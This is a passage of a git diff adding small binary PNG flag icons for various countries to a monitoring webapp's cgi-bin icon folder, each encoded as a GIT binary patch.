q&boYfv0Un0fM`UkMg;3wb)V%-Pb$JMb2Bh7FnGH9xvX<aXaWEgduWRQ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tn.png new file mode 100644 index 0000000000000000000000000000000000000000..23ed95400bf1e528795ab64b88722ce5103f4863 GIT binary patch literal 234 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2B83-5Z8Z9EdO-%{sjmB+qnMU%a{MAO*{Nz z#xw>722)QL$B>F!Q+sv_G8k|i{&V1;_Hoe*Zgc(YnD4Kcoh>+h+rmRGr>;E7*yw)q jgQWAdonF&B^5tyjFico%xkZtIfq}u()z4*}Q$iB}<`+-2 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/to.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/to.png new file mode 100644 index 0000000000000000000000000000000000000000..32891282f1712d8310b730909eac60b055fea30d GIT binary patch literal 231 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8Z9EdT!e`gifdzuB|@6&C*s3i#L7 z@z2cUNoBkO0|SGOr;B4q#jWIol$4~jl$4aj1_n2`G`18yV{K+>;il7kDl-aCEqdu{ dIx~)e!R--4;R<%ua0Uhj22WQ%mvv4FO#nARM}`0Z literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tr.png new file mode 100644 index 0000000000000000000000000000000000000000..175d81a3cedffaf7cb28f709267d123531898442 GIT binary patch literal 244 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8M~CLfek{<5(CGt>X;>GAK#v43+G z{HrUO{7-K_0|SGlr;B4q#jVypLp}xt9wzVTSO4qROm1|I<gj$&SfX|5aeouH)AF8A s5eFZA(G?EM+vcb0_42iw!&b&s&lo55`|00jU|?YIboFyt=akR{0OJr(?EnA( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tt.png new file mode 100644 index 0000000000000000000000000000000000000000..f5dc69e2ef521f712afe31bee50e1654b12d35dd GIT binary patch literal 223 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5Z8Y^EdLZl)=Zzq#Ka;dCh}_Llz%ZH z;o;$tGAH&hFfgcix;TbZ+)7SJO-xHmN@-wpQ%g$|3$vKs*gJRT%(=V=<^P;wtXE?+ VU3~Ld2?GNIgQu&X%Q~loCICaWL1+K~ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tv.png new file mode 100644 index 0000000000000000000000000000000000000000..3f3793687a574b0516ab03337de5a8e4f36e2b72 GIT binary patch literal 274 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=&im<9#%+X_C z%fP_ES>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9cz$e7jYwb0swbz2S z9&=iIZ`#VzsI7a`w{G;>dhS_&cXIL^+v=T<-K<Jl53ZfI`Qxsg_wJTWXJBB+@N{tu zskoK=B69Dhz<>=6iN{__w)ghlm3X(euKeZ=h0et9@9xg-b!KY(BR;+Nu7srD89T$9 z5jQ6+EdDwxE%~ttTVitZ;~-^@xk-ySmYtm{aj;}!vtoytFDKh&HMe7JJUvZKPEAcr Y3<0kd&pAkQgFMOL>FVdQ&MBb@0JL9eKL7v# literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tw.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tw.png new file mode 100644 index 0000000000000000000000000000000000000000..106d66481b2d1da4c8e556c636ceeca5d5102468 GIT binary patch literal 226 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZA9vESwz6EG)L9rk*%-=!uNXnpv}M zeEar=qbKkk0|SG)r;B4q#jWIo76vwrgp`z|G^b}qn+=o;BX8cg8Bus@(Q8-3nQ;sZ ZHWL{VgcsC^F)%PNc)I$ztaD0e0s!+QMC1Sf literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/tz.png new file mode 100644 index 0000000000000000000000000000000000000000..a08c6f4ece10548ce6fe6017af92ba18ebcda50b GIT binary patch literal 250 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5LYEdo~0Yul$B>minA~=v8<Y<%E~&6 zbv8@Z^cfKh3=H<3E{-7;w?a=J6l74~U_RK;^|xF{g8gBgHRGH435!-5m|WO$VM)Ky yIv&@w6pnopcgC*!?*8eL#HrK`d4B#T)=O)ccetrfzRSSCz~JfX=d#Wzp$P!%oJ)QH literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ua.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ua.png new file mode 100644 index 0000000000000000000000000000000000000000..aa20c8391a0647b6a5dda5ce0eccd7b68115f3e1 GIT binary patch literal 239 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqg7ARbdDN0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZAva8UCGQ_;-ro?<od`RsR`Q{%2VA zk74D%`~TSa85kH$JY5_^DsCkwv@?bYBqcaA^1RVth@B?N7tt`Ik(G5p@keGikpl;M mm@e#0F!f2`QMu^D#E_fJG?7cP;R*u-1B0ilpUXO@geCyO|43f| literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ug.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ug.png new file mode 100644 index 0000000000000000000000000000000000000000..b86caaa48178f85f46b3e90f80837f51ff4a6f9b GIT binary patch literal 224 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYjSj0W~ z&cMLHS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9Kz$e7@Jp;pk28RCv z4FCT#Jb%u>!NI`5z))SB{QmiKMFD~5iW1MaTK0VX=EuOmVDIVT7*cU7*`t}EEr27T zz>JNVEm>pjk|j%ckMQ&~HOX?bvNoDHyDw&7W)AQ_Zql)@B<I(RDF+yq@UuuPU|^`> V7M0jiyKg_p22WQ%mvv4FO#ol?L1F*^ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/uk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/uk.png new file mode 100644 index 0000000000000000000000000000000000000000..b83c20457abf7a73682f59d297849a508b17bb17 GIT binary patch literal 284 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOVU)_vAYR0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{28jTl5ZC_<94%fw0vtWr$!q^7C%=FG{(n!) z(xvCP=Ra&^U|>k}ba4!+xRuNi9+VawRFs^c8<Z9p<e4hK5uO%Y!krY5#+x4O8JZ-Z z$C>KQZI)8t?VarD?Vaqvo*7X1I3Rr5g_LBrrviy)S4C9Wg54MFO!VVXbaIF?ZEXzX d%-9zs!SFF!@aA^QhoEp^@O1TaS?83{1OU}5SBd}t literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/um.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/um.png new file mode 100644 index 0000000000000000000000000000000000000000..94ab2b65b7084c4e20221204ddd826c38d0450d6 GIT binary patch literal 171 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYjSj0W~ z&cMLHS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq{W7z$e6&VeR|(@87>r zG`YyYz@Xvj;uunKD>>l+v&6zF4Ga@RSb~@m)+w~KO>ii5>#$m3(#)`!Ay1jn`XQrC U4)6Li3=9kmp00i_>zopr0Juai5C8xG literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/unknown.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/unknown.png new file mode 100644 index 0000000000000000000000000000000000000000..85e4c4c4d87e4f403fe36fc1a0ff145a7d03f1bb GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOVU)_vAYR0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2Ic^t5ZC|z|1UoxeS(33fw3gWFPOpM*^M*? o1_mBa7srr_TgeFv^cff!3K$rJzh_=zU|?YIboFyt=akR{02n<qcmMzZ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/us.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/us.png new file mode 100644 index 0000000000000000000000000000000000000000..865e458781540b88bc5ecc2ed1aeb096c9f8e73f GIT binary patch literal 252 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+G<#CI4MK|1UE7Ur%pm(+O$mCCLgk zN&ahk4##;hFfcfJx;TbZ-0D5)&UL_nhuLB3l>h%N^k(z!OBFcgWO2DQ{OWA(e`|!S z_Rcz2vHs+tz&!`#U9U3CnrJ1+G12001M@QWJC2NpKNP<I$H2hA;OXk;vd$@?2>@AH BRucdK literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/uy.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/uy.png new file mode 100644 index 0000000000000000000000000000000000000000..4eb24e081edf2a896ba4b2cc946e1348edf1b311 GIT binary patch literal 251 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+A4ud|$Zm4-?a$Yu8@w-1+DHd7VRt z1iHHZ#H=iT!N9=a;OXKRQgJKxoF^ZH0td^%Ym9&Y_aA+#Ao7vHrz61g<1<#d4Rw3P z_8vN3kn*-;=k9$U_}*2sPrERAS7^{-UCsaThf*2$nST`7#K6G7;OXk;vd$@?2>|G< BTNVHS literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/uz.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/uz.png new file mode 100644 index 0000000000000000000000000000000000000000..56e95a8f2a0edfebd56c89c349fe8354da58f0ba GIT binary patch literal 247 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+AhyEM87L|Ni~);&L%JpR;b=6=~@n zFRvv`OtsUdoyp7FE+o`4VJ@RO0|SGBr;B4q#jWHA4<0>pU|`cznBF^=_1IIEO*aH% u#KO$PRP>Cw5)zykmlR3{GBC3;FqFM#3cCBKY&`=51B0ilpUXO@geCxcL`i)B literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/va.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/va.png new file mode 100644 index 0000000000000000000000000000000000000000..7bc573f709b265a32fe75905ac61739e8e7d67b3 GIT binary patch literal 220 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYjSj0W~ z&cMLHS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9Wz$e7@*fECp?-|aW zJNN$m`~UwL{{R2~{{6jkOP3xyHm9XUbLkw*PmYH{Cfa$rIEGZ*N){+AEac|pO=Y-r zE@Mmd3bvNM7*kOlxr+z5CgwMFs87*${^5C0z)E73zDO(E?Bg058YwwBJPfBpB^Tw+ ToBoA?fq}u()z4*}Q$iB}GXG4y literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vc.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vc.png new file mode 100644 index 0000000000000000000000000000000000000000..042d5abb3ec0d360d519685c50c6886675720ff4 GIT binary patch literal 210 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYjSj0W~ z&cMLHS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9Tz$e6&gJbRY?+gq* z3=Ay{#m5-Vy=Qp;o?+=VhM=ts98(zf3u$;UFff>Vx;TbZ+)7SJ5D*a&2}(NPq~6t( z+1YtCA<83AlhcJ;TB`A9(orFSQm00NTPFohwZ9TSmZZn<Zac>e{_dBt3=9kmp00i_ I>zopr0H2;cO8@`> literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ve.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ve.png new file mode 100644 index 0000000000000000000000000000000000000000..bb14a3ff69adf77f4c9ec3a7317bc78d5292fb71 GIT binary patch literal 237 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+Fz;Shg|wu(JNi$@ybo@W<c(&$ewo z|NgNs9}iPtU|=xvba4!+xV7}SBOikT2lK(Gu7CfJb4dyJ9kYC!BvNrJuHj&2h|3zI kr{$BsN%f0nu-f_5{$eWF>-E}%fq{X+)78&qol`;+0ALMD=l}o! literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vg.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vg.png new file mode 100644 index 0000000000000000000000000000000000000000..b95d418e7f4662c21a246dee29003b9afb7e5919 GIT binary patch literal 226 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0Ty3;^Ws4v50%} zoq>UYv%n*=n1O*?2!t6g-L3n>z`($g?&#~tz_78O`%fY(0|SFffKP}k6Vsjp`JGLx z3M$Q;Rt8jhdtN@*GcP~?rLDo9gKLg%W96MP=~n6oJ7oq221id9$B>F!OHUdKH5dpu z1)flv{o?QY>^VDb-Ta|_uc4*I;9Z4>;V<W4v+m!kEadr~$E=Oz(Y)E+C}1Xbf1l^0 baP=kY8M$QwSd1AM7#KWV{an^LB{Ts5EUZl6 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vi.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vi.png new file mode 100644 index 0000000000000000000000000000000000000000..ceb9deb65b6a0fffd2ca7ed226823bfa71df2652 GIT binary patch literal 275 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYjSj0W~ z&cMLHS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9cz$e7@{rl(t|9^k~ z{`>du3|p_=JGXbvwR-{#bFNwLb$b6k`@4X^y=+UTt>+X4=4ejY8h*PDWMQVKi(^Q| zt>gp|7G}1molS?DnkGw%^zyc{PS%x_P?zTJmXtQyup{!`-Xxtv2a1zE-Ay+$;&~%? zZg*2<ibRNtRC(d9(*_1yWknlBxfowQ%WP|F;^}Hybm(Q1LR3Hmi^t(J?3bLpyu288 Y9TzV8rd$4-fq{X+)78&qol`;+02t6^WdHyG literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vn.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vn.png new file mode 100644 index 0000000000000000000000000000000000000000..7db23752d981f8172577736b17b615b22b44bf79 GIT binary patch literal 237 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+G;;S^inE{L5$gw}|E6C6<4mSpMx{ z`4_^nt*Gb+0|SGRr;B4q#jWH71zCfIMUfMJ_`LC1lk?_HPk^4XHpd3VCyh2~Y%wuv kX>4v{EYl}8>M$^vW;4|C)>PePU|?YIboFyt=akR{0Ktt(Q2+n{ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/vu.png new file mode 100644 index 0000000000000000000000000000000000000000..1aa2dcd050e92bc9098b8ecf7be41da80c77ecb0 GIT binary patch literal 223 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>k2r{Tj-S}kQ z!@$76S>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e6&fq{WRK!9P+ z)@%lWYYdA2&oTVR3!WWYr@_F$VC3oI7*cU7IiZk|nN8v>SE7NzhFJ?P@(BE7XbVti txXiPV$IF3Xin!Cl$eB|Pn6xxqX88G>|2yxNuRlOGdb;|#taD0e0st%<RUrTX literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/wf.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/wf.png new file mode 100644 index 0000000000000000000000000000000000000000..205bebf206ad4b988b9165ef96f1f8801b6ab62e GIT binary patch literal 260 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3@QOWA+GzFSWakYUU2g`Dj|8!%Ie#V8+Xgf zPab~ups9tGb<N*Dzph0^EOkAY&%nT7>*?YcQgLf(w<8~e0>|Mtg#~~9@6Sq_vbb}v z>D>#nN{=S4Y~H*tr1Qqq^wgD#-(9EPoh+4k$ui98)Y1p-jF00O+dhAZc4lB;VDNPH Kb6Mw<&;$Svp<SQ= literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/wlk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/wlk.png new file mode 100644 index 0000000000000000000000000000000000000000..6def11dbadb5644036dd3923ee360529a6a2ef6e GIT binary patch literal 268 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+=)GcsCee(s%a z!oa}5S>O>_%)r3)0fZTy)|kv-U|?WLcl32+VA$Bt{U?!?fq}swz$e6&p*)JCIEtY< znV~JiD#%@-AS%Pucs8H-b_R|eN_u-U^DnPl^X$~AuWw#`{|^Fj>vrfcFfhb>x;TbZ z+)Dnz&&cEPrP|<c+4X<-)885Yu@Bu?=5}4X?f>fXH}7Wb?Rt3kmFQ*bw66vdyTePS zlv@~U%uHLdrB&5XqjPD?)Sarv8l4thEIU~YH8iEQr6r{eH5?gw*ciI@nKB&OJ>?ez P0|SGntDnm{r-UW|^}b)N literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ws.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ws.png new file mode 100644 index 0000000000000000000000000000000000000000..3b0d99644516500dd9b789d8f0c434532c41540f GIT binary patch literal 347 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h#VKN}P*Q6H7Al^Atid zb5j{|Q;YNz42>1CN;C5mj0_A66%5U-OiZmzj1{yE3=Iq(`>lA*z`(#>;_2(kewmq( z(L!QT@N_-~1_sUokH}&M2EGyyX3SREe2syDfhFD1*O7r?V?XzwL{<g{27>^f5LX66 zLqkIe2E$~_G6@F5IfnK1JYi=I>z^ghnKQ@Ga89z});V6ubIzSRXL#<v;s5{t{jdMC zW?*0tC<*cl{*MY69w^63GB7Yic)B=-RNPAb!OzI!aOV=&vfDw+XEMFCzk2<U%wx%a z^{4A{9u>`d_<!T8qiSCNc>dqLB&NBt;f07hqq4%^qpqD7C0wjE4LX~?7#nEZY<^+y hqa{$B_^g?MK`zNbT=Zx0T?PgQ22WQ%mvv4FO#r4Beop`Z literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ye.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ye.png new file mode 100644 index 0000000000000000000000000000000000000000..70c36180310aaed04e4aac0196e4610662d165a7 GIT binary patch literal 202 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOVU)_vAYR0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2A%+)5LXcqv42@P|Ni~?$Ha2j=aCQt1B0}u yi(^Q|tz?5X2DX?j3M>X1jtqWL3``On3=GnRTqbtx&0!1-3=E#GelF{r5}E)dMl_%R literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/yt.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/yt.png new file mode 100644 index 0000000000000000000000000000000000000000..f007cfd6b873d37066de2be18b7571ba0fc86b26 GIT binary patch literal 191 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-EuOVU)_vAYR0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{^ZZ0G|+7cJ^)m{{8vK&S~7aqmqGvLD<v9F{I*F maza9ah)7US(gI;#29u+#8-H^7S}-s$FnGH9xvX<aXaWEV#xz9$ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/yu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/yu.png new file mode 100644 index 0000000000000000000000000000000000000000..b741ead025fc9919b9536706c74de8fa89385d31 GIT binary patch literal 206 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^4EzB;A+G-!82(2^{r~?zE9)i$!~Sb_+Zh-b z7-T$M978H@B_}vC@~9Nf3}j#y=2GZA-N7WG!NBl5gt7Cg%I+MHLQhvemvv4FO#qYN BInMw9 literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/za.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/za.png new file mode 100644 index 0000000000000000000000000000000000000000..b4e1131cd0ccb37f5eb0817b22d6790983c5e420 GIT binary patch literal 251 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+Bs~tdmYoiVp2#VcA<%^=HSixPJjb z|2Vlk1zlD$FfcfHx;TbZ+)6zc$aO%0hvlMS^y|O*cOFC;TGaE42`$*4%zpGs(jp06 z>lE|pTf)U(->6D@=B)eV&oO<&=~g?Y-(*)h#^lb&75kZifq}u()z4*}Q$iB}x8+dT literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ze.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/ze.png new file mode 100644 index 0000000000000000000000000000000000000000..6955a4e4672db61bea5e7582dd58c401df2d3ee3 GIT binary patch literal 253 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+DTTIie4;986<rKh1J$63df&EbpvX z{_?W4)k=M4U|?|aba4!+xYc^jkney2hx0{-e-Hne>&beZ3=mzW9@)0_pSl8Hqp71% zKabJ(1x9->ADwHwChA_={?)Ue&1yeoc<;v??yOdZpR6;cgPg_S>FVdQ&MBb@0ACPO A_5c6? literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/zm.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/zm.png new file mode 100644 index 0000000000000000000000000000000000000000..a4894999f291618ba5059a60a499eef5485c6563 GIT binary patch literal 240 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUqi$q?#Xus1_sUokH}&M25un` zX1sK_?hgY4153K2uOkD)#(wTUiL49^3=#o8A+FXFgaj7wYxVIw(iE(h=Mj<RUs)^g zZKlApinw<S3=F28E{-7;w~`ZF7<qQ=;K|8(!*gPj1E1bepB$Yv4p)5)^o(b4KQ>%Y nP<Ud}lIe{TIawqXHZgSEX6)a)P2w8^0|SGntDnm{r-UW|@!CiM literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/zw.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/flags/zw.png new file mode 100644 index 0000000000000000000000000000000000000000..78ad9d24ec5a4c857750c6d60cc62f6f50d959e7 GIT binary patch literal 271 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8NR_xol(?i8Cl_TFlw{`T zG598?q$-qWmSiZnd-?`^4Kduzz`(#>;_2(keu0aRUxP>6sAeGp0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{2CV>}5Z8hU1w1o&U*5d=`O}9h`_?_a!E$Jy z%`q>TFUFjU=0?6{VyP=C;bLOhTde3|GvAGYfx*es#WAGfR_b{}u?7PUmWxvrkFB`# 